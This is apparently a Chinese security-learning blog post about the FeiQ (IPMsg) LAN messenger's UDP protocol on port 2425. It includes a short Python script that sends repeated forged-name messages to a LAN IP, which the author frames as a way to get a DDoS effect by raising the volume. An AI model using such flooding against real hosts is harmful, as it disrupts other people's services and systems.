基于python使用UDP协议对飞秋进行通讯—DDOS
基于飞秋的信息传输
声明:笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
老规矩,封面在文末!
飞秋介绍
(1)最关键的是局域网用户列表的建立;飞秋启动时使用UDP协议向255.255.255.255这个广播地址发送广播包,默认端口是2425。广播包内容包含用户名、工作组、主机名、IP等信息;
已启动飞秋的用户通过2425端口收到此广播包后,就会在自己的用户列表中添加这个用户的用户名、工作组等信息,同时向对方IP发送本机用户的个人信息;从而双方都能建立起用户列表;
(2)刷新用户列表时发送的广播包和启动时差不多,只不过返回的标识信息略有不同;可以做一个小工具,监控2425端口内存流,就能截获刷新和聊天时的消息。
(3)传送聊天信息时同样使用UDP协议;由于UDP协议是无连接协议,传输速度快,但是没有确认机制,是不可靠的协议,需要自己定义返回信息的标志来判断对方是否收到信息;
(4)用户离线时发送一个离线广播包到255.255.255.255,收到此广播包的用户,根据包中的IP地址(也可能是多种判断标志或者包含硬件标识,比如网卡地址等)删除对方的用户列表信息;
(5)广域网无法直接使用广播方式,靠手工添加”局域网外广播列表”来建立相互的关系;
(6)飞秋传送文件是使用TCP协议,端口2425;
(7)飞秋使用C++语言,开发工具:Visual C++ 4.1, 6.0, or later;
(8)飞秋公开源码,在作者(来自日本广岛的白水启章)和汉化者(阿志)网站下载源码,源码注释为日文;可以使用VC++修改、编译;
(9)飞秋传书是来自日本的软件,日文版是它的第一版本;此外还有中文,英文,韩文,葡萄牙文等语言;
(10)飞秋使用的加密算法:RSA、Blowfish、RC;
(11)飞秋可以使用命令行方式发送信息,命令格式如下:
ipmsg [端口] /MSG [/LOG][/SEAL] <主机名或IP地址> <消息>
可以使用IPMsg [端口] 命令改变默认端口,并同时启动多个实例,但是修改后只有使用相同端口的用户才能收到相互的信息;
(12)飞秋非安装版,并不是纯绿色软件,直接删除会在注册表留下垃圾键值;
-
飞秋把所有设置信息都保存在注册表的以下位置:
用户密码以不可逆加密方式存储.
-
如果你忘记了密码, 可以在注册表中将此键值删除,清除密码*\HKEY_CURRENT_USER\Software\HSTools\IPMsgEng\PasswordStr
(13)飞秋一次传送文件数达到几千个时,有丢失文件的可能,怀疑是飞秋的一个bug,而传输大文件则没有问题;
(14)飞秋最稳定的正式版本是V2.06;目前v2.50 alpha6 版正在测试,尚未正式发布;其他如2.71,2007绿色版为修改版本,并非正版;
(15)飞秋支持的字符太少,需要补充一下。
源码
import socket
import time
# ddos 损人不利己
for i in range(10):
s = socket.socket(type=socket.SOCK_DGRAM) # 以UDP协议通信
s.connect(('192.168.141.1', 2425))
packetId = str(time.time())
name = "LEYINSEC"
host = "MyHostName"
command = str(0x00000020)
content = "This is the message from python."
message = "1.0:" + packetId + ":" + name + ":" + host + ":" + command + ":" + content
s.send(message.encode())
源码解析
这段代码是一个简单的Python脚本,用于发送UDP数据包到指定的IP地址和端口。以下是对代码的详细分析:
导入模块
import socket
import time
-
socket
模块:用于网络通信,创建和管理套接字。 -
time
模块:用于获取当前时间戳。
循环发送数据包
for i in range(10):
-
这个循环会执行10次,每次循环都会发送一个UDP数据包。
创建UDP套接字
s = socket.socket(type=socket.SOCK_DGRAM) # 以UDP协议通信
-
socket.socket()
函数用于创建一个新的套接字对象。 -
type=socket.SOCK_DGRAM
参数指定使用UDP协议。
连接到目标地址
s.connect(('192.168.141.1', 2425))
-
connect()
方法用于连接到指定的IP地址和端口。 -
这里的目标是IP地址
192.168.141.1
和端口2425
。
构建消息内容
packetId = str(time.time())
name = "LEYINSEC"
host = "MyHostName"
command = str(0x00000020)
content = "This is the message from python."
message = "1.0:" + packetId + ":" + name + ":" + host + ":" + command + ":" + content
-
packetId
:使用当前时间戳作为唯一标识符。 -
name
、host
、command
、content
:这些变量用于构建消息内容。 -
message
:将所有部分用冒号分隔并拼接成一个字符串。
发送消息
s.send(message.encode())
-
send()
方法用于发送数据。 -
message.encode()
将字符串消息编码为字节流,因为send()
方法需要字节类型的数据。
注意事项
-
DDoS攻击:这段代码虽然简单,但如果在一个循环中不断发送大量数据包到同一个目标地址,可能会被视为DDoS(分布式拒绝服务)攻击。这种行为是不道德的,也可能违法。
-
资源消耗:频繁创建和关闭套接字会消耗系统资源,可能导致性能问题。
-
错误处理:代码中没有错误处理机制,如果连接失败或发送失败,程序会抛出异常并终止。
效果演示
可以看到,一直在给飞秋发信息,如果数据量较大的话,就可以达到DDOS的效果。网安人最重要的是什么,要学会举一反三。